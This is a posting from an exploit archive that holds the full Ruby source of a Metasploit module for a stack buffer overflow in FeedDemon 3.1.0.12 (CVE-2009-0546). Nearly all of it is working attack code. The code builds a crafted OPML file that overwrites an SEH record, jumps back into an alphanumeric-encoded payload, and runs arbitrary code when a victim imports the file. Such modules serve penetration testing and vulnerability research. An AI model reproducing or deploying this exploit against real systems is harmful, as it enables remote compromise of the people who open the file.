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FeedDemon 3.1.0.12 Stack Buffer Overflow

FeedDemon 3.1.0.12 Stack Buffer Overflow
Posted Jun 4, 2010
Authored by fl0 fl0w, dookie | Site metasploit.com

This Metasploit module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application is used to import a specially crafted opml file, a buffer overflow occurs allowing arbitrary code execution. All versions are suspected to be vulnerable. This vulnerability was originally reported against version 2.7 in February of 2009.

tags | exploit, overflow, arbitrary, code execution
advisories | CVE-2009-0546
MD5 | c9cb7da0d10900ae2c29de20e03a3da5

FeedDemon 3.1.0.12 Stack Buffer Overflow

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##
# $Id: feeddemon_opml.rb 9414 2010-06-04 00:47:14Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'FeedDemon <= 3.1.0.12 Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application
is used to import a specially crafted opml file, a buffer overflow occurs allowing
arbitrary code execution.

All versions are suspected to be vulnerable. This vulnerability was originally reported
against version 2.7 in February of 2009.
},
'License' => MSF_LICENSE,
'Author' =>
[
'fl0 fl0w', # Original Exploit
'dookie', # MSF Module
'jduck' # SEH + AlphanumMixed fixes
],
'Version' => '$Revision: 9414 $',
'References' =>
[
[ 'CVE', '2009-0546' ],
[ 'OSVDB', '51753' ],
[ 'BID', '33630' ],
[ 'URL', 'http://www.exploit-db.com/exploits/7995' ],
[ 'URL', 'http://www.exploit-db.com/exploits/8010' ],
[ 'URL', 'http://www.exploit-db.com/exploits/11379' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff",
'DisableNops' => true,
# We are not strictly limited to alphanumeric. However, currently
# no encoder can handle our bad character set.
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
# Tested OK on XPSP3 - jduck
[ 'Windows Universal',
{
'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 09 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']),
], self.class)

end

def exploit

head_opml = '<opml version="1.1">'
head_opml << '<body>'
head_opml << '<outline text="'

header = "\xff\xfe" # Unicode BOM
header << Rex::Text.to_unicode(head_opml)

foot_opml = '">'
foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>'
foot_opml << '</outline>'
foot_opml << '</body>'
foot_opml << '</opml>'
footer = Rex::Text.to_unicode(foot_opml)

# Set ECX to point to the alphamixed encoded buffer (IIIII...)
# We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8
off = 0x1ff2
set_ecx_asm = %Q|
mov ecx, [esp+8]
sub ecx, #{0x01010101 + off}
add ecx, 0x01010101
|
set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string

# Jump back to the payload, after p/p/r jumps to us.
# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..
# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself
distance = 0x1ffd + 8 + 5
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

# SEH
seh_frame = generate_seh_record(target.ret)

# Assemble everything together
sploit = ''
sploit << set_ecx
sploit << payload.encoded
sploit << rand_text_alphanumeric(8194 - sploit.length)
sploit << seh_frame
sploit << jmp_back
sploit << rand_text_alphanumeric(8318 - sploit.length)
# Ensure access violation reading from smashed pointer
num = rand_text(4).unpack('V')[0]
sploit << [num | 0x80000000].pack('V')

evil = header + sploit + footer

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(evil)

end

end

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